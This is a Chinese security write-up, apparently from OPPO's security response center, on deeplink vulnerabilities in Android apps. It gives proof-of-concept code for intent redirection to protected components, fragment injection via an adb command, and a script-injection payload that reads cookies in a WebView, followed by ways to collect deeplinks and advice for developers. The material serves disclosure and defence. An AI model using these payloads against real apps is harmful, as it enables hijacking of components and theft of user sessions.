Android中的特殊攻击面(二)——危险的deeplink

0x01 deeplink简介
```xml<activityandroid:name="com.example.android.GizmosActivity"android:label="@string/title_gizmos" ><intent-filter android:label="@string/filter_view_http_gizmos"><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /><category android:name="android.intent.category.BROWSABLE" /><!-- Accepts URIs that begin with "http://www.example.com/gizmos” --><data android:scheme="http"android:host="www.example.com"android:pathPrefix="/gizmos" /><!-- note that the leading "/" is required for pathPrefix--></intent-filter><intent-filter android:label="@string/filter_view_example_gizmos"><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /><category android:name="android.intent.category.BROWSABLE" /><!-- Accepts URIs that begin with "example://gizmos” --><data android:scheme="example"android:host="gizmos" /></intent-filter></activity>```
0x02 deeplink的安全问题
Facebook App [3]
Grab App [4]
通过deeplink打开任意activity
```javaprotected void onActivityResult(int arg3, int arg4, Intent arg5) {super.onActivityResult(arg3, arg4, arg5);int v0 = 100;if(arg3 == 1 && arg5 != null) {String v3 = arg5.getStringExtra("country_code");IdentityChinaAnalyticsV2.d(v3);if(this.o != null) {AccountVerificationActivityIntents.a(v3);this.startActivityForResult(this.o, v0); //this.o is an attacker controlled Intent}}else if(arg3 == v0) {arg3 = -1;if(arg4 == arg3) {this.setResult(arg3);this.finish();}}}protected void onCreate(Bundle arg2) {super.onCreate(arg2);this.setContentView(layout.activity_simple_fragment);ButterKnife.a(((Activity)this));if(arg2 == null) {this.c(true);new ChinaVerificationsRequest().a(this.n).execute(this.I);}Intent v2 = this.getIntent();if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) {this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent}}```
```javaIntent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("victim-app://c/identitychina"));Intent payload = new Intent();payload.setComponent(new ComponentName("<victim app package name>","<victim app protected component name>"));intent.putExtra("globalIdentityFlowIntent", payload);startActivity(intent);```
通过deeplink打开任意fragment
```shell$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 2706603-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public......(skip)03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]```
仔细分析,发现crash原因在于deeplink最终打开了ModalActivity,无法对名为AAAA的Fragment类实例化。如果在deeplink中的fragment_class参数传入一个victim-app已有的Fragment,则可以通过ModalActivity启动。在这个参数当中,我尝试传入了所有已有的Fragment Class,有的可以成功启动,有的却因为参数不完整造成crash,但是这里能够造成何种安全影响却费了一番周折。
最终,我找到一个GoogleWebViewMapFragment,有机会执行loadDataWithBaseURL,通过WebView加载HTML/JS.
```java@SuppressLint(value={"SetJavaScriptEnabled", "AddJavascriptInterface"}) public View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) {View v7 = arg7.inflate(layout.fragment_webview, arg8, false);this.a = v7.findViewById(id.webview);this.d = v7;WebSettings v8 = this.a.getSettings();v8.setSupportZoom(true);v8.setBuiltInZoomControls(false);v8.setJavaScriptEnabled(true);v8.setGeolocationEnabled(true);v8.setAllowFileAccess(false);v8.setAllowContentAccess(false);this.a.setWebChromeClient(new GeoWebChromeClient(this));VicMapType v8_1 = VicMapType.b(this.o());this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!!this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView");return v7;}```
```javapublic VicMapType(String arg1, String arg2, String arg3) {super();this.a = arg1;this.b = arg2;this.c = arg3;}public String a(Resources arg3) {return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN", Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry());}public Bundle a(Bundle arg3) {arg3.putString("map_domain", this.c()); // this.c is put in map_domainarg3.putString("map_url", this.b()); // this.b is put in map_urlarg3.putString("map_file_name", this.a()); // this.a is put in map_file_namereturn arg3;}String a() {return this.a;}public static VicMapType b(Bundle arg5) {return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", ""));}String b() {return this.b;}String c() { // v8_1.c()return this.c;}```
```javapublic class VicMapUtils {public static String a(Resources arg2, String arg3) {try {InputStream v2 = arg2.getAssets().open(arg3);String v0 = VicMapUtils.a(v2);v2.close();return v0;}catch(IOException ) {StringBuilder v0_1 = new StringBuilder();v0_1.append("unable to load asset ");v0_1.append(arg3);throw new RuntimeException(v0_1.toString());}}public static String a(InputStream arg2) {BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2));StringBuilder v2 = new StringBuilder();while(true) {String v1 = v0.readLine();if(v1 == null) {break;}v2.append(v1);v2.append("\n");}v0.close();return v2.toString();}}```
```shell$ ls -l *.html-rwxr-xr-x 1 heeeeen h4cker 8290 3 6 08:28 google_map.html-rwxr-xr-x 1 heeeeen h4cker 15024 3 6 08:28 leaflet_map.html-rwxr-xr-x 1 heeeeen h4cker 5546 3 6 08:28 mapbox.html```
```html$ cat google_map.html<!DOCTYPE html><html><head><meta name="viewport" content="initial-scale=1.0, user-scalable=no"><meta charset="utf-8"><style>html, body, #map-canvas {height: 100%;margin: 0px;padding: 0px}</style><script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN®ion=REGIONTOKEN"></script><script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script><script>var map;var infoWindow = null;var markers = {};var infoWindowContent = {};var polylines = {};
```javapublic Bundle a(Bundle arg3) {arg3.putString("map_domain", this.c()); // this.c is put in map_domainarg3.putString("map_url", this.b()); // this.b is put in map_urlarg3.putString("map_file_name", this.a()); // this.a is put in map_file_namereturn arg3;}```
```javaIntent payload = new Intent(Intent.ACTION_VIEW);payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));Bundle extra = new Bundle();extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>");extra.putString("map_file_name", "google_map.html");extra.putString("map_domain", "https://www.victim-app.com");payload.putExtra("bundle", extra);startActivity(payload);```
0x03 deeplink的收集
本地搜索:通过Mainifest文件筛选出自定义的deeplink URL scheme,进而在本地逆向代码中正则匹配,提取出尽可能完整的deeplink URI,注意不要漏过所有文件。因为以经验来看,deeplink可能出现在App的Java代码中、Asset目录的资源文件/js中,甚至还可能出现在so当中;
流量监控:对app进行抓包,利用HTTP抓包工具或者实现成burp插件监测流量中的deeplink,尽可能在app中点击各种场景,从请求包和返回包中正则匹配出完整的deeplink;
IPC监控:通过hook动态监测IPC通信中出现的deeplink,将Intent中的data提取出来,可以利用burp插件brida,甚至与流量监控整合;
远程爬取:对app Web端网页进行爬取,筛选出deeplink。不过这种方法我没有实践过,只是偶尔在网页源码中发现过。
基于deeplink特征:如果APP使用了一些路由分发的sdk,由于这类sdk有特定的规律,因此可以通过正则解析这类规律来获取到完整的deeplink。以ali arouter为例,可以通过提取build Route后面的path作为deeplink URI的path。提取build Autowired后面的name作为deeplink中的parameters。然后和第一步中获取到的内容进行拼接,从而获取到一个完整的deeplink。
0x04 对开发者的建议
开发者特别要重点关注与deeplink有关的WebView安全问题,这一类漏洞在deeplink安全问题中占比最大。需要小心deeplink中url、extra_url、page、link、redirect等参数,检查是否可以修改这些参数使WebView访问任意域名。如果这本身是一个业务设计,建议对用户给出外域跳转提示,同时禁止WebView对file://的访问,禁止 loadUrl访问外域携带重要的认证token,并仔细检查WebView开放敏感javaScriptInterface或JsBridge接口所做的域名白名单校验。
此外,由于deeplink无法验证来源,因此也不能用来设计为触发一个对安全有影响的敏感操作,例如:
发送携带认证token的数据包
打开保护组件
绕过应用锁
无需用户交互对外拨号
静默安装应用
......
建议使用deeplink的App开发者向内部安全团队提供所有deeplink清单和设计文档进行安全测试,这样可以比外部攻击者更早、更全面地发现deeplink引入的安全问题。

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 中法友谊蕴山水 7904138
- 2 你以为的进口尖货 其实早已国产了 7809450
- 3 张荣恭:敢宣布“台独”大陆立刻动手 7714586
- 4 盘点2025大国重器新突破 7616051
- 5 部分银行上调存款利率 7523346
- 6 美国称将调整与中国经济关系 7424827
- 7 大雪吃三宝是指哪三宝 7332704
- 8 尖叫之夜直播 7238547
- 9 男子在三亚海滩捅死3人 警方通报 7140341
- 10 周末去哪玩?雪场“不打烊” 7045157







OPPO安全应急响应中心
